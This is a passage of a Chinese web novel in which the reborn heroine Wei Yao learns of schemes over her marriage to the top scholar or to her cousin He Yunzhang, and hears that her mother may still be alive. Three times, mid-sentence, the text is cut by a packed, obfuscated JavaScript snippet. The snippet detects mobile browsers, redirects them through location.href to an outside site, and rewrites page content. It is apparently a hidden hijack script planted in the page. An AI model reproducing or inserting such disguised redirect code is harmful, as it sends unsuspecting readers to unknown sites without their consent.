魏淑云原也不了解魏窈，但她知道母亲今日会放出魏家寻回失散多年的女儿的消息，到这地步也不好隐瞒，只能承认魏窈是她姐姐。 至于旁的，魏淑云只能敷衍，“她打小养在乡下，是我母亲念她在外面可怜，才费心费力地寻回来。也就这两天刚到京城罢了，我哪知道她从前的事情。” 众人见她实在嘴严，只好作罢。 等穆景初带着卫玄铮离开，魏窈又有点垂头丧气的独自出门远去，看了半天热闹的女眷们终于得出了结论——看来是这人胆大包天，还没进京就跟天潢贵胄结了梁子，今日碰巧被肃郡王撞见，才被召去问话。 否则以肃郡王那身份和性情，多少高门贵女他都懒得看，哪会留意刚进京的乡下姑娘？ 这么一猜，立时有人附和。 “我刚才就说，殿下瞧见她的时候脸色有点不好看，她又是那幅样子，想必是理亏心虚。” “能惹恼肃郡王，真不知她哪来的本事。” 有人闻言掩唇笑着，没敢说更造次的话——据京城私下里的传闻，肃郡王是身有隐疾不近女色，才会年过弱冠却连个侍妾都不纳，只守着个过继的儿子过日子。这样的男人，又岂会为区区美色所动？ 八成是曾有过节，今日撞见了随手清算的。 窃窃私语间，有人笑得讳莫如深，也有跟魏淑云相熟的，调侃之余难免提醒，“你往后得留神些，可别再让她胡乱生事了，京城可不比乡下，惹了事会连累到你。” 魏淑云既已给魏窈捏出个乡下来的草包之名，撇清干系后，乐得让人孤立魏窈。 听见这话，自然附和着，暗藏得意地慢慢往宴席上去。 …… 这场宴席始于午时，待得酒过三巡，至未时初，昭明帝便以疲惫为由先回去歇息，命臣工和女眷们自行赏玩。 魏窈初入京城，料得魏家寻回女儿的事会是今日女眷们的谈资，也就不去人堆里凑热闹，只带着青穂在水边看那早开的菡萏。 隔水的小岛上凉亭翼然，也有双眼睛正打量她。 “……她是你的亲骨肉，你执意要找回来也是人之常情。只是怀珍嫁给你这么些年，如今能对两个女儿一视同仁，也算她大度，你可不能寒了她的心。” 胡须花白的贺崇站在窗畔，瞧着是个身量瘦小的老头，那双眼睛却暗藏精光。 魏芝翰陪在旁边，忙微微躬身道：“岳父放心，小婿绝不忘当日誓言。” “那就好。”贺崇满意颔首。 又看了片刻，他忽而笑眯眯瞧向魏芝翰，“我瞧她这容貌倒是出挑，又是养在乡下的璞玉，也算难得。她性情如何？” “性子倒是很和气的，听话恭顺，也不怯懦，还算懂规矩。” “如此说来，我一直挂心的那件事情，倒是有合适的人选了。”贺崇拍拍女婿的肩膀，由他搀扶着往外走，又叮嘱道：“改日我去你那里坐坐，摸摸她的脾性。” 这话正中魏芝翰下怀，当即喜出望外地道：“能得岳父青睐，她是真要有福气了。” 7. 007 从西苑宴毕回府时，已是日色西倾了。 魏窈惦记着顾顺娘的事情，辞别贺氏后便匆匆回了浮香院。 倒是魏淑云一路上憋了满肚子的话，跟到贺氏夫妇住的清宴堂后，没了外人，便急着告状起来。将今日水边的见闻悉数说给贺氏听，又道：“她刚到京城就被人围着指指点点，当时我都快丢人死了！” “这里又不是乡下，她那样不知天高地厚，惹人嗤笑事小，若是得罪了皇家，是要连累咱们家的！母亲，你可得跟父亲说说，得好生管教她才是！” 魏淑云撅着个嘴，恨不得这会儿就把魏窈拉到祖宗牌位前跪着，教她从此夹起尾巴做人。 贺氏看她那一脸的不忿，有点儿好笑，便点头应着，说往后会留意。 见魏淑云火气还没消，又叮嘱道：“这事儿我自有主张，你可别在你父亲跟前浑说。那丫头不好对付，往后但凡有这种事，你只管跟我说，可别跑去你父亲那里胡言乱语，平白给我添乱！” 魏淑云仍觉气闷，瞧母亲说得认真，只能作罢，蔫蔫的回屋睡觉去了。 服侍了贺氏大半辈子的孙妈妈将她送出门外，回来见贺氏在桌边出神，便小声道：“今日的事，夫人当真要跟主君说？” “那不是搬石头砸自己脚么！”贺氏有些心烦地道。 魏窈跟肃郡王的事，她其实知道。 先前魏窈在江陵城修书回京，为了给途中的安稳添一份筹码，特地提了肃郡王帮她救人的事。书信送到魏家，照例先递到贺氏手里，贺氏瞧着是江陵递来的，哪会真的给魏芝翰？ 看过内容之后，当场就烧了。 也是因着肃郡王这三个字，她才没敢再派人手去途中再次生事。 如今魏窈和顾顺娘既已安然抵京，且魏窈还算识相地对旧事闭口不提，她再拿这事去魏芝翰跟前告状，又能讨得什么好处？ 纵然魏芝翰不敢拿她怎样，到底平添夫妻罅隙。 倒不如按兵不动。 只是好容易捏到魏窈的错处，却不能拿来用，多少有些憋屈。 贺氏这些年在魏家横行惯了，如今忽然要收着性子，难免觉得窝火。 …… 这份窝火一直憋到了晚间魏芝翰回屋。 贺氏虽不好提肃郡王的事，却还是旁敲侧击地吹枕边风：“今儿宴上，我也算是豁出脸皮，将阿槿的事摆到明面上，着实让人议论了一整天，往后且有得舌根嚼呢。” “真是委屈夫人了。”魏芝翰揽着她，低笑道：“今晚便好生赔罪吧。” 贺氏笑嗔他一眼，又道：“不过说起来，她到底养在乡下疏于管教，礼数上不够周全。我是个继母，不好说重话，你当父亲的可得立起威严来，须严加管教才能雕琢出美玉。” “夫人说得是，往后我会多加训导。”魏芝翰温和笑着，安抚住妻子后，才将话锋一转道：“对了，岳父说过两日要来咱们这边坐坐。” “父亲要亲自过来？有什么事喊我过去不就成了？”贺氏有些意外。 魏芝翰便道：“他老人家想瞧瞧阿槿。” 贺氏不由笑了，“父亲也是忒操心！这算什么事儿，咱们膝下就一个淑云，家里难免冷清些，如今多了个女儿，我也替你欢喜呢！” 这显然是会错意了。 魏芝翰心里有点尴尬，为免误会更深，还是将话挑明些，道：“父亲在朝里的处境咱们都清楚。如今瞧着是花团锦簇，那也都是仰赖圣上恩典，万一往后……所以父亲想挑个有才干的，早点栽培起来，往后也多个帮手。” “这是……想结姻亲？”贺氏有些迟疑。 魏芝翰颔首道：“前阵子春闱放榜，那位状元郎许约是个好苗子。他出身不高，读书却用功，据说每日里睡不到两个时辰，是少有的勤奋。如今高中榜首，志向自然高些，既想借机寻个婚事青云直上，又想求个姿貌出挑的称心女子，至今还没说好亲事。岳父有意提携他，只是缺个合适的人，见阿槿品貌还算出挑，就想亲自掌掌眼。” 这话一说，贺氏的脸色顿时就变了。 嫁给状元郎，那是多好的婚事！ 那许约她听说过，虽非高门出身，却也是读书人家的子弟。加之刻苦用功、姿貌也不错，虽说好似急功近利了点，但年纪轻轻就能才冠京城，实在是打着灯笼都难找的好女婿！ 贺崇膝下唯有一个孙女儿贺薇，是已经定了亲要去伯府做当家少夫人的。 如今既要结亲…… “淑云的亲事也还没定，父亲怎么不想着她！”贺氏心中不满，也没法装贤惠了，“阿槿她相貌虽好，到底长在乡下，见识有限，真个到了状元郎跟前，谈吐举止怎么跟得上！” 这话魏芝翰就不好回了。 他倒是想给魏淑云寻个状元郎，可惜夫妻俩膝下就这么个掌上明珠，这么些年宠爱过来，反倒养得性子骄纵任性。且魏淑云不过中人之姿，又没旁的长处，想打动状元郎许以终身，着实有些难度。 倒是魏窈，她生得出挑、性子也和顺，魏芝翰特地安排贺崇远远瞧见，原就是揣摩准了贺崇的打算，借机为魏窈争取个好婚事。 如今心愿得偿，他不敢明着吐露，又不好跟贺氏说贬损魏淑云的话，只能糊弄道：“岳父也只是打算，还没定呢，你若觉得不妥，跟他说就是了。” 说就说！她自己的亲爹，难道还放着亲外孙女不帮衬，却去管那半路捡回来的别家血脉不成？ 贺氏有些着恼，扭身就出去了。 …… 隔了两日，贺崇果真抽出空暇来了趟魏府。 魏淑云自幼得外祖父疼爱，自是欢天喜地地将他搀扶进花厅，亲自奉上果点。 她这般讨巧，贺崇也是笑得合不拢嘴，将外孙女夸了一通之后，便让贺氏将魏窈带来相见。瞧她确实是难得的丽色，加之性情比魏淑云沉静得多，言语对答间也口齿清晰、思维敏捷，愈发满意起来。 遂赠了些金玉之物，权当见面之礼。 贺氏在旁瞧着，眼底的期待一分分黯了下去。直等魏窈被送回去时，她才支走魏芝翰，命人拿来刚熬的荷叶汤，亲自舀了一碗。 “父亲您尝尝这荷叶汤，是淑云为您备的。”她贴坐在贺崇身旁，浑然还是从前爱撒娇的幼女模样。 贺崇喝了两口，果真味道很好，便颔首道：“不错，这孩子有长进了！” “那您还不帮衬着她些！” 语气里藏有埋怨，贺崇听得出来，便掀须笑了笑，“正是我偏疼她，才会选邵州来的那个。状元郎的名头固然好听，可你以为他家媳妇是好当的？我早打听过，他们族里家风极严，对儿媳的规矩更是严苛。” “淑云性子活泼跳脱，真嫁进那样规矩严苛、妯娌众多的门第，必定应付不来。” 贺氏还是不肯，“邵州来的那个就能应付了？” “她就算没法应付，又碍着咱们什么事？”贺崇虽在朝中颇受微词，待女儿却向来慈爱，耐心解释道：“在婆家吃了苦头，处境艰难，她才更知道该仰仗娘家，尽心为咱们办事。怀珍，结这门亲事是为朝政，可不像你当年胡闹……” “爹！”提起当年的事，贺氏立即打断。 贺崇笑了笑，“淑云的性子随你，没必要去许家吃苦。云章岁数也不小了，我想着表兄妹亲上加亲，回头必不会委屈了她。” 让魏窈嫁给御笔钦点、风头正盛的状元郎，却将淑云许给只能靠捐官入仕的贺云章吗？ 贺氏但凡想到那等情形，就觉心里刺得慌。 更何况，父亲的担忧是一回事，可贺家在朝中的威势远胜许家，有身为帝王宠臣的贺崇撑腰，许家能造次到哪里去？ 等来日有了儿女傍身，地位稳固，许约在朝堂青云而上，那时淑云得封诰命，才叫一个舒心呢！ 贺氏不甘心将好婚事拱手让人，便只缠着贺崇，一心要他改变主意。 …… 浮香院里，魏窈这会儿也在琢磨婚事。 今日贺崇来魏家是何意图，她心里明镜似的。 从花厅回来后，她将贺崇那些赏赐一股脑塞进箱子最底下，点了支静心安神的花凝香，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125395|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗边支颐坐着。 前世种种断续划过心间，她清楚贺崇和魏芝翰的心思，也知道贺氏会打什么主意—— 前世，因着魏淑云任性骄纵、姿色平平，入不了许约的眼，贺崇便拍板让她嫁给状元郎许约，而将魏淑云许给了贺云章。 贺氏母女怎会甘心呢？ 便以赏花喝茶的由头将贺云章母子请来府里，如愿地让贺云章对她一见钟情，做出种种献殷勤的举动。 彼时魏窈虽屡屡推拒，却哪能防得住贺氏揣着的坏心？ 应该是在月底游湖的盛会上，那边贺崇和魏芝翰才刚说动状元郎，促成许魏结亲的美事，这边贺氏母女便伙同贺云章，在众目睽睽之下上演了一场水中救美的戏码，以她的闺誉为赌注，将她的婚事推向贺云章。 许家最重门风，得知此事焉能答应？ 碍着贺崇的颜面和外头的风评，不好反悔爽约，便只能捏着鼻子将魏淑云娶过去。 魏窈即使厌恨贺氏的算计，在贺云章屡次剖白心意，甚至舍出性命护她周全，而魏芝翰也出言撮合时，终于没扛住众人的劝说答应了婚事。 如今想来，贺云章也许曾爱过她，但也只是在初相识时心意最浓的那些时日罢了。 他那人对女子心软多情，爱意便也难以坚定，不过如转瞬而逝、游动不定的浮云而已。 更或许，从头至尾都不曾爱过。 魏窈倚坐在窗畔，视线落在远处一株高耸的墨柏时，不知怎的，又想起穆景初坐在她的坟前，拿指尖一遍遍拂过墓碑的情形。 情与爱，终究太难捉摸。 魏窈独自坐了良久，等傍晚时分顾顺娘神采飞扬地回来，说她立女户的事已在官府办妥，才算露出笑容。 欢喜之余，约定择日禀过魏芝翰，俩人一道去将顾顺娘租赁屋舍等事办妥当。 商量完这些，临睡之前对烛夜话时，魏窈又将贺崇相看之事说了，连同贺氏心有不甘、可能会把她推向贺云章的猜测也说出来。 顾顺娘听后倒沉默了片刻。 “嫁给状元郎，瞧起来确实是个光鲜的婚事。贺家郎君虽说逊色些，既是姻亲，若能得你父亲照拂，听起来倒也还行。关键在于，你是怎样打算的呢？” 顾顺娘抚着她披散的秀发，眼底藏有疼惜，“这是你的婚事，旁人说的都不作数，得顺着你的心意来。” “依我看，都不是好去处！”魏窈答得不假思索。 这倒出乎顾顺娘所料，不由道：“怎么说？” “不管许家还是贺家，但凡父亲安排的婚事，难免往后我得仰仗他。可家里的情形您也瞧见了，我这位父亲怕是靠不住。” “你不相信他？”顾顺娘有些迟疑地问。 烛火轻跳，魏窈迎着她的视线，笃定点头。 旁的事情不好提，便拿江陵城的事来举例—— “当日我修书进京，沈姐姐很快就有了回信，还约定了在京城外的客栈再通消息，咱们进京时也准时等着。可我父亲呢？” “这些时日，他从未提起那件事。” “若他是收到书信，避而不提，那实在让人寒心。若他没收到，那便意味着家里是我那继母只手遮天，他这个父亲还没门外的歪脖子树可靠。” 这话有点好笑，顾顺娘却笑不出来。 她只是握住魏窈的手，打量着这个年才十六、却比记忆里沉静得多的少女。原本犹豫不决的事情，在此时也终于有了答案。 “有件事我一直没跟你说，怕你未必能承受，也怕你年少没城府，叫人察觉出来，反为不妙。如今这关头，还是告诉你得好。”门扇紧掩，帘帐垂落，即使屋里没有旁人，顾顺娘也还是谨慎地坐近魏窈，将声音贴在她的耳边。 “你母亲当年或许没死。” “她是生下你没多久就遭到魏芝翰狠心背弃，才让我带你出逃，免得母女一起受苦。我离开时她还好好的，后来是死是活，其实还没有定论。” 极低的声音，却如惊雷在耳畔炸响。 魏窈满脸震惊地看向顾顺娘。 8. 008 魏窈出生在昭明三十一年，那年京城里发生了件震动朝野的事情——皇三子穆元慎暗中谋逆，被察觉后铤而走险，趁夜试图杀进皇宫，却被昭明帝的心腹利箭穿喉，死在宫门之外。 彼时魏芝翰还只是个从九品的微末小官。 因他生得姿容甚美，加上温柔体贴，夫妻俩自成婚后一向处得融洽。 那年夏日，谋逆案闹得沸沸扬扬，连带魏芝翰这等小官都整日奔波劳碌时，魏窈的母亲郦氏却孕肚渐重，因着暑热袭人，且外头乱糟糟的，成日便只闭门休养。 怀胎十月后，终于诞下了个女儿。 彼时夫妻俩都很高兴，魏芝翰抱着襁褓里皱巴巴的小婴儿，也曾爱不释手，回来得多晚都先要去陪陪妻女。 原以为一家三口会那样岁月安好地慢慢往前走，可顾顺娘慢慢察觉，自家夫人似是有些心事。而魏芝翰虽温柔如从前，却破天荒地开始酗酒。从前温文尔雅的男人，那阵子却时常酩酊大醉，独自在屋里又哭又笑。 挨到八月底，即使郦氏守口如瓶，顾顺娘也隐约从夫妻俩偶尔压低声音的争执中推测出来，魏芝翰似乎在外面有了旁的女人。 那夜，他又大醉归来。 郦氏送他回屋，在灯前坐着整夜，待翌日天明时，便将许多盘缠和裹在襁褓里的魏窈交在顾顺娘手上，请她天明时务必带孩子离开京城。 顾顺娘满心惊慌，直是追问缘故。 郦氏却不肯细说缘由，只说家里遭了变故，若不将阿槿送走，恐怕孩子会有性命之忧。 临行前又千叮万嘱，让顾顺娘绝不要去跟郦氏娘家或是跟魏芝翰相关的地方，最好隐姓埋名走远些，莫让旁人知晓这孩子的去处。 顾顺娘既受重托，只能匆匆离京。 彼时京城里还在清缴逆党，城里城外依旧乱哄哄的，她带着魏窈一路南逃，终于在邵州寻到合适的人家落脚，在沈家做工谋生。 她识字不多，没法从京城里打听消息，等在邵州住熟了，便请人代写了封书信寄去郦氏的娘家，询问郦氏是否还活着。 对方答得言辞含糊。 说是并不曾听说郦氏丧命之事，更未参加过她的丧仪。至于她身在何处却又说不出个所以然，只让顾顺娘好生过日子，莫再惦记前尘往事。 顾顺娘又连着去了几封信，见对方不给回音，只能作罢。 直到前阵子，魏芝翰派人曲折迂回地寻摸到沈家，说这些年未能照顾女儿云云，携了重礼要迎魏窈回京。原来的顾顺娘虽对他怀有芥蒂，想着女儿家终究得有个父亲作为依靠，官家小姐的日子总胜过养在仆婢膝下，便答应了。 “如今再看，当年的事就很蹊跷。” 顾顺娘搂着魏窈，想起那一双可怜的主仆，很是同情，“我这阵子留意打听过，你出生的那年，贺崇就已经得了皇上的赏识。你再瞧瞧魏淑云，都说她才十四岁，可我瞧她形貌身量，没比你小几个月。” “何况，我又打听到贺氏当年成婚后因身体虚弱，须去气候更适宜的南边调养，贺崇为此特地安排魏芝翰外放，直到六年后才调回京城。” “谁能说这当中没有猫腻？” 顾顺娘想起当初在京城时的种种古怪，对自家猜测还算有把握，“若你母亲真的死了，郦家人直说就是，何必闪烁其词？八成是魏芝翰攀附新贵，又不敢担抛弃糟糠妻的骂名，才胡扯个妻子亡故的由头，又封了郦家人的口。” “这回咱们进京途中，贺氏忙着灭口，不就是怕我回来后察觉什么。” “至于魏芝翰，虽说回来后我只碰见了两三次，瞧他那样子，未必敢真的杀了你母亲。” 一声长长的叹息之后，顾顺娘的神情有些复杂。 魏窈抓在她腕间的手指愈收愈紧，心跳也是愈来愈快，“这么说，母亲还活着？” “如今是否活着，我也说不准，但我离开京城时她没有死。” 只要没死就还有盼头！ 魏窈胸腔里咚咚狂跳起来，想到母亲或许尚在人世，恨不得此刻就去找魏芝翰，将她的下落问个明白。 但她知道不能如此轻率。 脑海里万念翻涌，有那么一瞬，她觉得如今的顾妈妈打探消息、推测旧事的能耐，甚至直呼父亲大名的做派，简直不像从前的她能做到的。 但这念头也只是一闪而过，很快就被母亲可能尚在人世的狂喜给淹没。 仲夏的夜风扑入窗隙，轻轻拂动纱帘，也令火苗摇曳明灭，两人无言对视的时候，清晰看到彼此眼底生出的期待。 什么状元郎，什么贺云章，都见鬼去吧！ 若不想被困在魏芝翰和贺家联手编织的樊笼里，她必得走一条截然不同的路，才有可能查清当年的真相，将跟贺家的一笔笔旧账算清楚。甚至能有幸寻回母亲，与含辛茹苦将她拉扯大的顾顺娘一道，去过属于她们的安稳日子。 那必会是另一种天地！ …… 魏窈这儿因着母亲的事心潮澎湃，涵秋馆里，魏淑云比她还激动。 “让魏窈嫁给状元郎？”她拽着贺氏的袖口，脸上写满了不可置信，“外祖父这是被人下降头了吗？怎么这样乱点鸳鸯谱！” “慎言！”贺氏嗔她一眼，“哪有这样说长辈的？” 魏淑云缩了缩脑袋，瞧出贺氏并没真的生气，便抱住她的胳膊撒娇，“你可得劝一劝外祖父！若真让魏窈捡了这大便宜，岂不是让人笑话我连个乡下来的草包都不如？往后我可怎么见人！” “就为你这张没遮拦的嘴，你外祖父才不放心的。”贺氏无奈，又试探道：“他老人家的意思，状元虽好，到底是去别家做媳妇，难免吃些苦头。倒是你表哥云章，他向来待人和善，会心疼人……” “娘！”魏淑云脸上微红，“表哥哪有状元好？” 贺氏本就不愿让魏窈捡了便宜，此刻便将贺崇的那些担忧说给魏淑云，想听听她是怎么打算的。 魏淑云还能怎么打算？ 贺家虽深得圣眷，于她而言，贺云章也不过是从小见惯的表哥，固然性子和善会照顾人，相处久了便也不觉得多出挑。且他如今年已十七，却并没将心思放在读书科举上，别说进士登第了，能不能中个举人都悬。 反倒是那位许约，能在春闱中拔得头筹的青年才俊，岂是京城里的闲散公子哥能比的？ 若他能投在外祖父麾下，仕途必定顺遂，官职品级超过父亲和舅舅都指日可待。 到那时，她跟着得了诰命青云而上，表哥又算得什么？ 这般前程，哪能便宜半路回来的魏窈！ 魏淑云纵使有些害羞，也还是红着脸将态度说了个明白。 贺氏见她决意如此，便再不迟疑。 遂于五月初十那日在家中设宴，以赏荷为由邀请娘家嫂嫂过来喝茶，捎带着提了句正逢书院休沐的贺云章。 两家离得近，贺氏既特意提了，贺云章哪能不来看望姑姑一眼？ 只好跟着母亲崔氏一道乘车过来，打算问候过后稍坐片刻，就寻个由头溜出去赴好友们组的诗会。踏过花木掩映的甬道来到花厅，瞧着水池边摇曳的荷花，他正觉百无聊赖，视线扫过厅中时却忽然顿住了。 厅里除了姑姑和表妹，还多了个极美貌的女子。 比起魏淑云娇艳夺目的红裙金钗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125396|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她穿得反有些素净，不过一袭淡粉色领口绣花的长衫，底下搭了玉白色的长裙，腰间纨带简约，如云青丝拿珠钗挽起后，只点缀了两朵珠花。 分明是平平无奇的衣裙首饰，穿在她身上却格外熨帖惹眼，那张脸更是…… 贺云章无端想起方才瞧过的含苞荷花，那般娇嫩袅娜的姿态，瞧起来竟比眼前这女子逊色多了。 “这是……”他不由低声询问。 崔氏低声道：“你姑父前些天找回来的女儿，名叫魏窈。” 原来是她！ 贺云章来之前听说过这事，却没想到姑父那位失散后养在乡下的姑娘竟是如此美貌！ 视线无法挪开，心神似也在那一瞬被攫住，贺云章一错不错地瞧着厅中身影，脚步竟自快了许多。 花厅里，魏窈察觉黏在身上的视线时，不由暗暗皱眉。 贺氏非要请客设宴，她身为晚辈实在不好推拒——这些天还得跟顾顺娘一道收拾新租赁的小院呢，不值当为躲避贺家人而装病，反正贺氏向来不达目的不罢休，回避是无济于事的。 此刻宾客驾临，贺氏携着女儿笑迎出去，魏窈依礼见过舅母，对上贺云章那直勾勾的视线时，一时有点无语。 这厮，怕是又色迷心窍了。 前世也是这样，贺云章贪图美色一心求娶，最入迷的时候，甚至险些为护着她而丧命。成婚之初他确实待她极好，饮食起居上处处留心，哪怕婆母崔氏有意刁难，也都毫不犹豫地护在她身前。 但那样的情意又能维持多久呢？ 因着贺崇对女儿的疼爱，崔氏对这小姑子也颇客气，情知魏窈是小姑子的眼中钉，既有身为婆母之便，哪有不作威作福的？ 魏窈长在乡下，过了不少苦日子，原就看不惯贺家仗势欺民的骄横做派，许多观念跟崔氏等人大相径庭，在府中总有些格格不入，哪还禁得住崔氏故意挑拨生事？ 时日久长，贺云章的维护之心难免懈怠。 他这人又是个多情的性子，会细致周到地待魏窈好，待那阵新鲜劲过去，同样也会疼惜照拂别的“可怜”姑娘，将其收留在后院。 心志不坚，情意便会如浮萍飘蓬，见异思迁也不足为怪。 上辈子的魏窈早就想清楚了，此刻再见到贺云章，纵使心头微有涟漪，也能轻易压住。只是贺氏和崔氏沆瀣一气，前世合伙作弄她不说，听顾顺娘的意思，当年连母亲或许都是吃了贺家的亏。 此刻瞧她们说亲道热，一团热闹，魏窈心底那根刺便越嵌越深，想到自己和母亲、顾顺娘的遭遇，更是隐隐作痛。 但如今情势所限，她只能垂眸将情绪尽数掩藏。 待应付过这日的小宴，魏窈便先将心思放在顾顺娘打算开的食店上，帮着出谋划策。 贺云章亦如前世般献起了殷勤，魏窈既吃过亏，又不好此刻就跟魏芝翰夫妇撕破脸皮，死活不搭理也就是了。 这般忙碌了一阵，转眼五月将尽。 万壑湖荷花宴的请帖如期送到了魏家，贺氏果然将魏窈叫去，说了这场盛会的热闹尊荣之处，让魏窈早做准备，届时随她前去赴宴。 这叮嘱后藏着怎样的歹心，魏窈铭心刻骨。 走出清宴堂时，她抬目远眺，视线越过屋檐墙垣，心神落在那碧波荡漾的湖面时，心底那个大胆的想法渐渐成形。 ——因这场荷花宴远非寻常小宴可比，届时非但高门贵户，连皇亲国戚都会去凑个热闹。 若她记得没错，因惠王不良于行，从前的荷花宴上经常是穆景初兄弟俩代为赴宴的。 或许，这位传闻中身有隐疾的郡王爷，能够帮她一个大忙。 9. 009 赏荷盛宴日益迫近时，顾顺娘的食店也正紧锣密鼓的操办着。 魏窈原还想着，以顾顺娘谦柔的性子和谨慎的做派，大约会找个街边小店，先撑起摊子卖个众人爱吃的馄饨等物，不会在开店之初就闹多大的动静。 谁知几日留意下来，顾顺娘的行径全然出乎魏窈所料。 早在定下住处之前，她就租了头驴，花了好些功夫将京城几处要紧的街巷走了一遍，最后选定了螺市街后巷的一处院子。 说起这螺市街，在京城也是有点名气的。 京城里，高门女眷们挑选绸缎首饰时最爱去的是珠玑巷，而寻常人家的男女出门，则大多爱奔着螺市街去。 这地方纵横两条长街，加起来能有十多里地，两侧全都是林立的商铺。 除了街心几座门面富丽的金银楼外，旁的商铺价钱都很贴近寻常百姓，从布匹衣料到鞋袜针线，从香料手炉到茶叶杯盘，从香饮酥酪到糕点蜜饯，乃至南北各地的泥捏玩具、皮货珠串，各色货品琳琅满目，称之为“万货通衙”也不为过。 街面上亦有不少食店，卖的花样各不相同，价钱也贵贱不一。 顾顺娘在赁好庭院安顿好行囊后，花了四五日将食店里售卖的各色饮食摸清楚，又在街头巷尾的闲聊中，将各处商铺的底细也摸了摸。 就这些东西，她密密麻麻地竟写了厚厚一摞纸。 魏窈瞧见的时候差点呆住了。 虽说那些歪歪扭扭的字和记忆里没太大不同，但从前的顾妈妈懒得摸笔杆，连写封信都要去叨扰沈歌，何时这么勤快起来了？ 顾妈妈听见调侃，便笑道：“从前只需在乡下做粗活，自然懒得碰笔墨。如今回了京城开店，账目往来都得经手，可不得改掉老毛病么？”她将那册子往魏窈面前晃了晃，“你猜，我打算把店开在哪里？” “自然是街面上了。”魏窈坐在她刚收拾齐整的屋子里，蹙眉道：“只是咱们住在后巷，离街面有点远，搬东西难免不便。” “傻孩子！”顾顺娘拿笔杆敲敲她脑门，“你可知街面上的铺子每月租金要多少？咱们这院子租金才多少？” 这个问题魏窈倒是没太考虑过。 顾顺娘便笑道：“这里各色吃食俱全，虽说我能做几样新的，却也翻不出太多花样来。若再寻些奇巧食材做出新鲜菜色，价钱难免涨上去，却不是这里的食客们能接受的。” “那就换地方呀。”魏窈咬着她新做的蜜饯，觉得这滋味确实比别处买的还好，“咱们将门面做得漂亮齐整些，只消菜色可口，总会有人喜欢。如今天下太平富庶，我听说京城的贵女们时常相约在街上吃茶尝东西，想来是不缺食客的。” 这话说得顾顺娘不由笑了。 她倒是想做那种档次高些的酒楼，但平心而论，如今这世道虽说太平，她一个无依无靠的女户，又不愿沾魏芝翰的光，想拿有限的资财从那些大掌柜手里分一杯羹，谈何容易？ 届时倘若起了纠纷，她虽不惧，却难免占据精力，给处境艰难的魏窈添乱，更会拖累她和魏窈找回郦氏这事。 倒是这螺市街，虽非富丽之地，就眼下而言，却是个生钱的好地方。 “这螺市街上食店虽多，因临街的店铺租金不便宜，同样的吃食，其实比别处贵不少。” “来这里买东西的，偶尔吃个几回倒也罢了，可常住在这里的人呢？” 顾顺娘既仔细摸过附近的情形，心里便门儿清，“据我所知，他们起早贪黑做生意，没几家有空暇做饭。手头宽裕些的，家里雇个人手，里外杂活都得做，饭食不过马虎应付。剩下的多半是就近买些吃食，总归没那功夫自己做。” 魏窈听得眼睛一亮，“你想做他们的生意？” “我这店在后巷，租金比街面便宜得多，价钱自然能低些，这附近几百户人家，难道还养不活我？” 何况这院子并不算偏僻，若真个做起名声，街上闲逛的食客们多走几步就到了。即使不算这份，如今许多店里有索唤，雇个人多跑腿送送，可就不限于这附近的几百户了。 而至于菜色，她眼下人手有限，虽已拜托沈歌物色个妇人帮工，到底没精力做热锅现炒的菜。反而是便宜亲民的肉汤菜饼、各色凉拌等物，一锅做出来能卖好多份，正好赶着别家早中晚三顿饭，能省力不少。 她心里已有打算，只待这阵子再摸摸情形，备好食店的桌椅炊具等物，便可筹备开张了。 顾顺娘对自家手艺成竹在胸，连带买食材雇人手的本金都筹算过。 魏窈在旁瞧着，几乎瞠目结舌—— “您这算盘拨得比那些账房先生还老道，又把开店的事情摸得清清楚楚，从前也没听您说会这些呀！” 惊讶之下，有那么一瞬，她都有些怀疑顾顺娘会不会也像她似的，有些离奇经历，才有此变化。 可即使重活一回，人的性情能变，这些本事哪是能从天而降的？ 甚至连顾顺娘的神态…… 即使隔了许久记不太清细节，但很明显，此刻的顾顺娘神采飞扬，带了那么点运筹帷幄的架势，精明干练的做派与在乡下大相径庭。 庭院风暖，摇动头顶错落的槐枝。 顾顺娘对上她的目光，能感觉到魏窈的惊讶揣度，倒也没避开，只是笑了笑。 这件事，或早或晚都要跟魏窈挑明的。 只是需要个合适的契机罢了。 但无论如何，她既接手了原主的身体和记忆，也原模原样地接手了原主对魏窈的爱。而如今，经过月余的相处，这份爱意正渐渐由一份添为两份—— 魏窈视她为至亲，于她而言，魏窈又何尝不是在这世间唯一的亲人？ …… 食店的事在顾顺娘的操持下有条不紊，这让魏窈心头很是松快。 回府后对上魏淑云鼻孔朝天的脸，也能心平气和。 到得五月廿九那日，正当风清日丽。 京城里暑热渐起，不少资财丰厚的人家都筹划着去京郊避暑，高门贵户的女眷们也多想在万壑湖荷花盛会结束后顺道去别苑小住。 如此一来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125397|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 